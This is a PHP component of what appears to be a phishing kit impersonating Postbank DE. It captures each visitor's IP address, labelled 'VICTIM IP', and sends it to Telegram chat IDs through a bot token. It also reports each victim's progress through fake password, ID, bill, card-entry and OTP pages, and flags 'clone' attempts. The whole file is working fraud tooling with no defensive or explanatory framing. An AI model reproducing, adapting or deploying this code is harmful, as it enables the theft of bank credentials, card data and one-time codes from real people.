<?php 
require '../config.php';


function note($statu){
	global $chat_ids;
	    // Check if the real IP address is available from Cloudflare
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? '';

    // If CF-Connecting-IP is not available, try the X-Forwarded-For header
    if (!$ip && isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim(end($ipList));
    }

    // If X-Forwarded-For is not available, use REMOTE_ADDR as a fallback
    if (!$ip) {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    }
	foreach($chat_ids as $id){
$msg = urlencode("➡️ [ POSTBANK-DE NOTIFICATION ] 🔥\n🌐VICTIM IP : ".$ip."\nSTATU : $statu". "\n⚡️丂 卄 卂 ᗪ ㄖ 山 ㄥ 乇 ᘜ 乇 几 ᗪ ™️ ⚡️");
sendBot($id, $msg);
}

}


function sendBot($id, $msg){
	global $bot_token;
	$url = "https://api.telegram.org/bot$bot_token/sendMessage?chat_id=$id&text=$msg";
	$ci = curl_init();
	curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ci,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ci, CURLOPT_URL, $url);
	return curl_exec($ci);
	curl_close($ci);
}

if(isset($_POST['otping1'])){
	note("Entering Pass...");
}if(isset($_POST['otpview1'])){
	note("In Pass page");
}if(isset($_POST['otperrorview1'])){
	note("In OTP APPLE Error page");
}

if(isset($_POST['otping10'])){
	note("Entering Bil's...");
}if(isset($_POST['otpview10'])){
	note("In Bil's page");
}if(isset($_POST['otperrorview10'])){
	note("In Bil's Error page");
}

if(isset($_POST['otping1'])){
	note("Entering OTP APPLE...");
}if(isset($_POST['otpview1'])){
	note("In OTP APPLE page");
}if(isset($_POST['otperrorview1'])){
	note("In OTP APPLE Error page");
}
 
if(isset($_POST['otping'])){
	note("Entering OTP...");
}if(isset($_POST['otpview'])){
	note("In OTP page");
}if(isset($_POST['otperrorview'])){
	note("In OTP Error page");
}

if(isset($_POST['cardview'])){
	note("In card page");
}if(isset($_POST['carderrorview'])){
	note("In card error page");
}if(isset($_POST['carding'])){
	note("Entering card info...");
}

if(isset($_POST['waitingview'])){
	note("Waiting for redirection...");
}

if(isset($_POST['bi2view'])){
	note("In Pass page");
}if(isset($_POST['biview'])){
	note("In ID page");
}if(isset($_POST['bierrorview'])){
	note("In ID error page");
}if(isset($_POST['biing'])){
	note("Entering ID information...");
}if(isset($_POST['bi2ing'])){
	note("Entering Pass information...");
}

if(isset($_POST['finishview'])){
	note("Success!");
}if(isset($_POST['clonedetect'])){
	note(" + A CLONE TRY HAS BEEN DETECTED!");
}

?>